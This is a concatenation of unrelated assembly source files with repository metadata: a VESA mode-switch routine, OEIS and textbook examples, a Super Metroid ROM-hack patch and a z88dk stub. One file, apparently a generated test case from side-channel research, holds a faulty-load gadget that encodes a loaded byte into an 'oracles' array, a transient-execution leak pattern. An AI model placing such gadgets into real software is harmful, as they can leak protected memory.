mov gs,ax
mov ss,ax
; Disable protected mode
mov eax,cr0
and al, 0xFE
mov cr0,eax
; Jump to realmode
jmp word 0x0000:FIXADDR(_intr16)
_intr16:
; Load all the data segments with 0
mov ax,0
mov ss,ax
mov ds,ax
mov es,ax
mov fs,ax
mov gs,ax
; Set a temporary stack
mov sp,0x7B00
; Get a list of modes
push es
mov ax,0x4F00
mov di,FIXADDR(vbe_info)
int 0x10
pop es
; Check for error
cmp ax, 0x4F
jne .error
; Set up the registers with the segment:offset of the modes
mov ax, word[FIXADDR(vbe_info.vmodeoff)]
mov [sv_offset],ax
mov ax, word[FIXADDR(vbe_info.vmodeseg)]
mov [sv_segment],ax
mov ax, [sv_segment]
mov fs,ax
mov si, [sv_offset]
mov al,[sv_func]
cmp al,1
je .getmode
cmp al,0
jne .error2
.find_mode:
; Increment the mode
mov dx,[fs:si]
add si,2
mov [sv_offset],si
mov [sv_mode], dx
mov ax,0
mov fs,ax
; Make sure we haven't run out of modes
cmp word[sv_mode],0xFFFF
je .error2
; List the values for the selected mode
push es
mov ax,0x4f01
mov cx,[sv_mode]
mov di, FIXADDR(vbe_screen)
int 0x10
pop es
; Check for error
cmp ax, 0x4F
jne .error
; Check width
mov ax, [sv_width]
cmp ax, [FIXADDR(vbe_screen.width)]
jne .next_mode
; Check height
mov ax, [sv_height]
cmp ax, [FIXADDR(vbe_screen.height)]
jne .next_mode
; Check bpp
mov al, [sv_bpp]
cmp al, [FIXADDR(vbe_screen.bpp)]
jne .next_mode
; We've found our mode. Now switch to it
push es
mov ax, 0x4F02
mov bx, [sv_mode]
or bx, 0x4000
mov di,0
int 0x10
pop es
; Check for any errors
cmp ax, 0x4F
jne .error
; Set up return values
mov ax,0
mov ebx,[FIXADDR(vbe_screen.buffer)]
; Start the transition back to protected mode
jmp .returnpm
; Any BIOS errors use this function
.error:
mov ax,2
jmp .returnpm
; This error is only for if the requested mode could not be found
.error2:
mov ax,1
jmp .returnpm
; Get the address for the next mode
.next_mode:
mov ax, [sv_segment]
mov fs,ax
mov si, [sv_offset]
jmp .find_mode
; Get the values for mode stored in ax at start
.getmode:
mov ax, [sv_width]
add ax,ax
add si,ax
mov dx, [fs:si]
mov [sv_mode],dx
mov ax,0
mov fs,ax
cmp word [sv_mode],0xFFFF
je .error2
push es
mov ax,0x4f01
mov cx,[sv_mode]
mov di, FIXADDR(vbe_screen)
int 0x10
pop es
cmp ax,0x4F
jne .error
mov ax,[FIXADDR(vbe_screen.width)]
mov [FIXADDR(storevars.width)],ax
mov ax,[FIXADDR(vbe_screen.height)]
mov [FIXADDR(storevars.height)],ax
mov al,[FIXADDR(vbe_screen.bpp)]
mov [FIXADDR(storevars.bpp)],al
mov ax,0
; Return to protected mode!
.returnpm:
; Store the return values
mov [FIXADDR(storevars.error)],ax
mov [FIXADDR(storevars.buffer)],ebx
; Turn on protected mode (this is same as "or cr0,1")
mov eax,cr0
inc eax
mov cr0,eax
; Load 32 bit GDT
lgdt [FIXADDR(gdt32)]
; Jump to 32 bit protected mode
jmp 0x08:FIXADDR(returnpm32)
[BITS 32]
; We're back in 32 bit protected mode land!
returnpm32:
; Load all the data segments
mov ax,0x10
mov ss,ax
mov ds,ax
mov es,ax
mov fs,ax
mov gs,ax
; Use the protected mode IDT
lidt [FIXADDR(idt32)]
; Re-enable paging
mov eax,cr0
or eax,0x80000000
mov cr0,eax
; Restore cr3
mov eax,[store32.cr3]
mov cr3,eax
; Reload GDT with paging enabled (otherwise we will triple fault on sti)
lgdt [FIXADDR(gdt32)]
; Restore PIC (see idt.c for values)
mov al,0x11
out 0x20,al
out 0xA0,al
mov al,0x20
out 0x21,al
mov al,40
out 0xA1,al
mov al,4
out 0x21,al
sub al,2
out 0xA1,al
dec al
out 0x21,al
out 0xA1,al
xor al,al
out 0x21,al
out 0xA1,al
mov al,[sv_func]
cmp al,1
je .mode1
mov eax,[FIXADDR(storevars.error)]
mov ebx,[FIXADDR(storevars.buffer)]
jmp .restore
.mode1:
mov ax,[FIXADDR(storevars.width)]
mov bx,[FIXADDR(storevars.height)]
mov cl,[FIXADDR(storevars.bpp)]
mov ch,[FIXADDR(storevars.error)]
.restore:
; Restore all registers except output registers
mov edx,[store32.edx]
mov esi,[store32.esi]
mov edi,[store32.edi]
mov esp,[store32.esp]
mov ebp,[store32.ebp]
; Re-enable interrupts
sti
; Finally, return to the callee
ret
gdt32:
dw 0
dd 0
idt32:
dw 0
dd 0
idt16:
dw 0x03FF
dd 0
gdt16_struct:
dq 0
dw 0xFFFF
dw 0
db 0
db 10011010b
db 10001111b
db 0
dw 0xFFFF
dw 0
db 0
db 10010010b
db 10001111b
db 0
gdt16:
dw gdt16 - gdt16_struct - 1
dd FIXADDR(gdt16_struct)
storevars:
.width dw 0
.height dw 0
.bpp db 0
.func db 0
.segment dw 0
.offset dw 0
.mode dw 0
.buffer dd 0
.error db 0
vbe_screen:
.attr dw 0
.unused0 db 0
.unused1 db 0
.unused2 dw 0
.unused3 dw 0
.unused4 dw 0
.unused5 dw 0
.unused7 dd 0
.pitch dw 0
.width dw 0
.height dw 0
.unused8 db 0
.unused9 db 0
.unusedA db 0
.bpp db 0
.unusedB db 0
.unusedC db 0
.unusedD db 0
.unusedE db 0
.reserved0 db 0
.redmask db 0
.redpos db 0
.greenmask db 0
.greenpos db 0
.bluemask db 0
.bluepos db 0
.rmask db 0
.rpos db 0
.cattrs db 0
.buffer dd 0
.sm_off dd 0
.sm_size dw 0
.table times 206 db 0
vbe_info:
.signature db "VBE2"
.version dw 0
.oem dd 0
.cap dd 0
.vmodeoff dw 0
.vmodeseg dw 0
.vmem dw 0
.softrev dw 0
.vendor dd 0
.pname dd 0
.prev dd 0
.reserved times 222 db 0
.oemdata times 256 db 0
_int32_end:
store32:
.ecx dd 0
.edx dd 0
.esi dd 0
.edi dd 0
.esp dd 0
.ebp dd 0
.cr3 dd 0
|
||||
TheStack | 6d86f3c9479249ce5ae78f86c065598634381af6 | Assemblycode:Assembly | {"size": 6811, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_10091_686.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_10091_686.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_10091_686.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"} | {"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 37.8388888889, "max_line_length": 2999, "alphanum_fraction": 0.6586404346} | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r13
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x19c88, %r12
nop
and $42480, %rdi
mov (%r12), %r13
nop
nop
nop
nop
xor %rax, %rax
lea addresses_A_ht+0x15008, %r10
clflush (%r10)
xor $48308, %rbp
movl $0x61626364, (%r10)
nop
add $45007, %rax
lea addresses_UC_ht+0x13c88, %rsi
lea addresses_normal_ht+0x8258, %rdi
nop
nop
nop
nop
sub %r13, %r13
mov $8, %rcx
rep movsq
nop
sub $30402, %rbp
lea addresses_WC_ht+0x19f88, %rsi
lea addresses_WC_ht+0xda88, %rdi
nop
nop
nop
and $15679, %r12
mov $126, %rcx
rep movsw
nop
add %r12, %r12
lea addresses_UC_ht+0x7288, %rsi
lea addresses_WT_ht+0x8588, %rdi
nop
nop
nop
nop
cmp $42297, %r12
mov $98, %rcx
rep movsl
nop
nop
nop
dec %r12
lea addresses_WT_ht+0x7f50, %rsi
lea addresses_WC_ht+0xd0e8, %rdi
nop
nop
add $41318, %rbp
mov $31, %rcx
rep movsq
nop
nop
and %r13, %r13
lea addresses_UC_ht+0xb588, %rsi
lea addresses_WC_ht+0x9822, %rdi
clflush (%rdi)
nop
nop
nop
add $58700, %r13
mov $73, %rcx
rep movsl
and $53862, %r10
lea addresses_WT_ht+0x1bc8, %r11
nop
nop
nop
nop
inc %r12
movl $0x61626364, (%r11)
nop
xor $21831, %r10
lea addresses_D_ht+0x8088, %r12
and $56023, %rdi
movb $0x61, (%r12)
nop
add %rcx, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r13
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r13
push %rax
push %rbp
push %rdi
push %rdx
// Store
mov $0x5d7a160000000988, %rdi
clflush (%rdi)
xor $93, %r12
mov $0x5152535455565758, %rax
movq %rax, (%rdi)
nop
sub $445, %r13
// Store
mov $0x1dd0950000000102, %rbp
clflush (%rbp)
nop
nop
add %rdx, %rdx
mov $0x5152535455565758, %rax
movq %rax, %xmm1
vmovups %ymm1, (%rbp)
nop
nop
nop
nop
xor $6563, %rbp
// Faulty Load
lea addresses_WC+0x6288, %r13
nop
nop
sub $35718, %rax
mov (%r13), %r12
lea oracles, %rdx
and $0xff, %r12
shlq $12, %r12
mov (%rdx,%r12,1), %r12
pop %rdx
pop %rdi
pop %rbp
pop %rax
pop %r13
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 32, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': True, 'NT': True, 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': True}}
{'00': 10091}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
||||
TheStack | 6dad76da79e23a13d4a8cd0853f47bdb90a88119 | Assemblycode:Assembly | {"size": 2428, "ext": "asm", "max_stars_repo_path": "programs/oeis/100/A100855.asm", "max_stars_repo_name": "jmorken/loda", "max_stars_repo_stars_event_min_datetime": "2021-03-15T11:38:20.000Z", "max_stars_repo_stars_event_max_datetime": "2021-03-15T11:38:20.000Z", "max_issues_repo_path": "programs/oeis/100/A100855.asm", "max_issues_repo_name": "jmorken/loda", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "programs/oeis/100/A100855.asm", "max_forks_repo_name": "jmorken/loda", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": 1, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 142.8235294118, "max_line_length": 2264, "alphanum_fraction": 0.8583196046} | ; A100855: n*(n^3-n^2+n+1)/2.
; 0,1,7,33,106,265,561,1057,1828,2961,4555,6721,9582,13273,17941,23745,30856,39457,49743,61921,76210,92841,112057,134113,159276,187825,220051,256257,296758,341881,391965,447361,508432,575553,649111,729505,817146,912457,1015873,1127841,1248820,1379281,1519707,1670593,1832446,2005785,2191141,2389057,2600088,2824801,3063775,3317601,3586882,3872233,4174281,4493665,4831036,5187057,5562403,5957761,6373830,6811321,7270957,7753473,8259616,8790145,9345831,9927457,10535818,11171721,11835985,12529441,13252932,14007313,14793451,15612225,16464526,17351257,18273333,19231681,20227240,21260961,22333807,23446753,24600786,25796905,27036121,28319457,29647948,31022641,32444595,33914881,35434582,37004793,38626621,40301185,42029616,43813057,45652663,47549601,49505050,51520201,53596257,55734433,57935956,60202065,62534011,64933057,67400478,69937561,72545605,75225921,77979832,80808673,83713791,86696545,89758306,92900457,96124393,99431521,102823260,106301041,109866307,113520513,117265126,121101625,125031501,129056257,133177408,137396481,141715015,146134561,150656682,155282953,160014961,164854305,169802596,174861457,180032523,185317441,190717870,196235481,201871957,207628993,213508296,219511585,225640591,231897057,238282738,244799401,251448825,258232801,265153132,272211633,279410131,286750465,294234486,301864057,309641053,317567361,325644880,333875521,342261207,350803873,359505466,368367945,377393281,386583457,395940468,405466321,415163035,425032641,435077182,445298713,455699301,466281025,477045976,487996257,499133983,510461281,521980290,533693161,545602057,557709153,570016636,582526705,595241571,608163457,621294598,634637241,648193645,661966081,675956832,690168193,704602471,719261985,734149066,749266057,764615313,780199201,796020100,812080401,828382507,844928833,861721806,878763865,896057461,913605057,931409128,949472161,967796655,986385121,1005240082,1024364073,1043759641,1063429345,1083375756,1103601457,1124109043,1144901121,1165980310,1187349241,1209010557,1230966913,1253220976,1275775425,1298632951,1321796257,1345268058,1369051081,1393148065,1417561761,1442294932,1467350353,1492730811,1518439105,1544478046,1570850457,1597559173,1624607041,1651996920,1679731681,1707814207,1736247393,1765034146,1794177385,1823680041,1853545057,1883775388,1914374001
mov $2,$0
lpb $0
lpb $0
sub $0,1
add $4,$2
lpe
lpb $2
sub $2,1
add $3,1
add $1,$3
add $3,$4
lpe
lpe
|
||||
TheStack | faaa8c3652f21408a4cdaafa5c9b45a0d8dc2331 | Assemblycode:Assembly | {"size": 1447, "ext": "asm", "max_stars_repo_path": "Examples/ch06/ProcTble.asm", "max_stars_repo_name": "satadriver/LiunuxOS", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Examples/ch06/ProcTble.asm", "max_issues_repo_name": "satadriver/LiunuxOS", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Examples/ch06/ProcTble.asm", "max_forks_repo_name": "satadriver/LiunuxOS", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 21.5970149254, "max_line_length": 59, "alphanum_fraction": 0.6440912232} | TITLE Table of Procedure Offsets (ProcTble.asm)
; This progam contains a table with offsets of procedures.
; It uses the table to execute indirect procedure calls.
; Last update: 11/4/01
INCLUDE Irvine32.inc
.data
CaseTable BYTE 'A' ; lookup value
DWORD Process_A ; address of procedure
BYTE 'B'
DWORD Process_B
BYTE 'C'
DWORD Process_C
BYTE 'D'
DWORD Process_D
NumberOfEntries = 4
prompt BYTE "Press capital A,B,C,or D: ",0
msgA BYTE "Process_A",0
msgB BYTE "Process_B",0
msgC BYTE "Process_C",0
msgD BYTE "Process_D",0
.code
main PROC
mov edx,OFFSET prompt ; ask user for input
call WriteString
call ReadChar ; read one character
mov ebx,OFFSET CaseTable ; point EBX to the table
mov ecx,NumberOfEntries ; loop counter
L1:
cmp al,[ebx] ; match found?
jne L2 ; no: continue
call NEAR PTR [ebx + 1] ; yes: call the procedure
call WriteString ; display message
call Crlf
jmp L3 ; exit the search
L2:
add ebx,5 ; point to the next entry
loop L1 ; repeat until ECX = 0
L3:
exit
main ENDP
Process_A PROC
mov edx,OFFSET msgA
ret
Process_A ENDP
Process_B PROC
mov edx,OFFSET msgB
ret
Process_B ENDP
Process_C PROC
mov edx,OFFSET msgC
ret
Process_C ENDP
Process_D PROC
mov edx,OFFSET msgD
ret
Process_D ENDP
END main |
||||
TheStack | 3605120dbbe68ba00ff5afc96bf9284db7954787 | Assemblycode:Assembly | {"size": 7615, "ext": "asm", "max_stars_repo_path": "weapon-tank-msg.xkas-06.asm", "max_stars_repo_name": "n00btube/sm-weapon-tank", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "weapon-tank-msg.xkas-06.asm", "max_issues_repo_name": "n00btube/sm-weapon-tank", "max_issues_repo_issues_event_min_datetime": "2015-04-02T00:59:13.000Z", "max_issues_repo_issues_event_max_datetime": "2015-04-04T19:25:18.000Z", "max_forks_repo_path": "weapon-tank-msg.xkas-06.asm", "max_forks_repo_name": "n00btube/sm-weapon-tank", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": 2, "max_forks_count": null, "avg_line_length": 48.1962025316, "max_line_length": 268, "alphanum_fraction": 0.6857518056} | ;K: A hack to add new message boxes. Based on an item in Insanity, stripped of spoily stuff and commented for public use.
;K: This hasn't been extensively bugtested yet, but at the moment I don't know of any bugs from it.
;J: I've tested it. Looks like, you can use big and small messages with or without highlighted buttons.
;header
;K: Uncomment this if you're using a headered ROM
;J: Hint: commented lines are starting from ";" and they aren't executed.
lorom
;K: Somewhere in your bank 84 you should have a PLM using a message box, change the index to 1D or higher.
;K: See PLM_Details.txt for how to do that.
;J: You can create new item or use Messanger patch (see patch section) for this purpose.
; DW $88F3 : DW $0040 : DB $1D ;For example, this is the instruction used by a new item in Insanity.
org $859643
;K: Here is where you can put in new message box entries and tiles. All entries must be consecutive; do not put tiles in between entries.
;K: Example message box entries. They start at the first new slot, 1D.
;K: The first two DW's are for the message box setup and size. This is a simple, 3-high message box with 1 line of text. Other options are possible (see the table at 85869B if you want) but I haven't documented any and the code at the bottom only supports this option.
;J: Alright, I did it. The only thing I don't know is how to get 3 line text messages, such as "Energy recharge completed."
;K: Each new entry simply needs a new message box name for the last DW.
;J: For the big messages, use word $83C5 to get a message with correct Fire button and word $83CC to get a message with correct Dash button. To get a big message without rewriting certain tile you can use any of these 2 instructions.
; DW $83C5 : DW $825A : DW BigMessageBoxShoot
; DW $83CC : DW $825A : DW BigMessageBoxDash
DW $8436 : DW $8289 : DW WeaponTank
;J: Don't touch this line. Meaning of it is that game can't display the last message in the array correctly, even if is a pointer is leading to unexisting message. FixSize subroutine in the Kej's code allows to use only small message box as last one (see below).
DW $8436 : DW $8289 : DW ButtonArray
;K: Small message box tiles. Start with the message box name from its entry.
;K: The first and third lines are blank tiles for past the left and right edge of the message box. These must be in every message box, and you probably don't want to change them.
;K: The second line is the text in the middle line of the message box you'll probably want to edit. $284E is simply a black box. See TextFormat.txt for values to use - the first section is for message boxes.
;K: Each small message box requires 32 words, so don't add or delete any words, just change them.
WeaponTank:
DW $000E, $000E, $000E, $000E, $000E, $000E
DW $284E, $284E, $284E, $284E, $28F6, $28E4, $28E0, $28EF, $28EE, $28ED, $284E, $28F3, $28E0, $28ED, $28EA, $284E, $284E, $284E, $284E
DW $000E, $000E, $000E, $000E, $000E, $000E, $000E
;J: Big message box tiles. Start with the message box name from its entry.
;K&J: The first and third lines in each group are blank tiles for past the left and right edge of the message box. These must be in every message box, and you probably don't want to change them.
;K&J: The second line in each group is the text in the middle line of the message box you'll probably want to edit. $284E is simply a black box. See TextFormat.txt by Key for values to use - the first section is for message boxes or MessageBoxGuide by DC .
;K&J: Each big message box requires 128 words, so don't add or delete any words, just change them.
;BigMessageBoxShoot:
; DW $000E, $000E, $000E
; DW $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E
; DW $000E, $000E, $000E
; DW $000E, $000E, $000E
; DW $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E
; DW $000E, $000E, $000E
; DW $000E, $000E, $000E
; DW $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E
; DW $000E, $000E, $000E
; DW $000E, $000E, $000E
; DW $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E
; DW $000E, $000E, $000E
;BigMessageBoxDash:
; DW $000E, $000E, $000E
; DW $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E
; DW $000E, $000E, $000E
; DW $000E, $000E, $000E
; DW $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E
; DW $000E, $000E, $000E
; DW $000E, $000E, $000E
; DW $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E
; DW $000E, $000E, $000E
; DW $000E, $000E, $000E
; DW $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E, $284E
; DW $000E, $000E, $000E
;J: Strict order like "small messages first" isn't nessary.
;==========================================================================
;J: There is a relocated button array for big messages with text "press certain button".
;J: Meaning of this array is if you change default control settings and shot will use Y button instead of X, then in the default text (press the X button) letter X will be rewritten with Y.
;J: Actually, there are a different button written by default in each message, but this doesn't matter.
;J: Each word is a position of correct letter.
;J: When adding a new message, don't forget to add a word to this array.
;J: In short messages such as "Energy Tank" the value must be 0000.
;J: In big messages the value is the position of tile that will be rewriten.
;J: Add 2 to move the button right, substract 2 to move the button left.
;J: Add 40 to move the button down, substract 40 to move the button up.
;J: To create big message without rewriting a tile, use value $0200.
;J: Note that you can overwrite empty tiles in top and border lines of each message.
ButtonArray:
DW $0000, $012A, $012A, $012C, $012C, $012C, $0000, $0000, $0000, $0000, $0000, $0000, $0120, $0000, $0000 ;Messages 01-0F
DW $0000, $0000, $012A, $012A, $0000, $0000, $0000, $0000, $0000, $0000, $012A, $0120, $0000, $0000, $0000 ;Messages 10-1E
DW $0000 ;Message 1F
;K: The rest is code to make the game use the free space above for new message boxes. No touching.
;K: If you do intend to try something tricky, please note that this code is placed at the end of the above message boxes and doesn't have its own org.
;J: FixSize subroutine is replaced. It has a limitation for using only small messages. I've tweaked it a bit, but got another limitation: last message must be small. So, I got rid of it and added a bunch of pointers to unexisting message (see above).
Fix1C1F:
LDA $1C1F
CMP #$001D
BPL +
RTS
+
ADC #$027F
RTS
org $858243
JSR Fix1C1F
org $8582E5
JSR Fix1C1F
org $858413
DW ButtonArray
;K: Kejardon
;J: JAM
;Version 2
|
||||
TheStack | ee005abea840c40d46cb6efd4551ecb98bb5c674 | Assemblycode:Assembly | {"size": 212, "ext": "asm", "max_stars_repo_path": "libsrc/_DEVELOPMENT/arch/zx/misc/c/sccz80/zx_cls_wc.asm", "max_stars_repo_name": "meesokim/z88dk", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "libsrc/_DEVELOPMENT/arch/zx/misc/c/sccz80/zx_cls_wc.asm", "max_issues_repo_name": "meesokim/z88dk", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "libsrc/_DEVELOPMENT/arch/zx/misc/c/sccz80/zx_cls_wc.asm", "max_forks_repo_name": "meesokim/z88dk", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 10.0952380952, "max_line_length": 47, "alphanum_fraction": 0.6745283019} |
; void zx_cls_wc(struct r_Rect8 *r, uchar attr)
SECTION code_arch
PUBLIC zx_cls_wc
EXTERN asm_zx_cls_wc
zx_cls_wc:
pop af
pop hl
pop ix
push hl
push hl
push af
jp asm_zx_cls_wc
|
||||
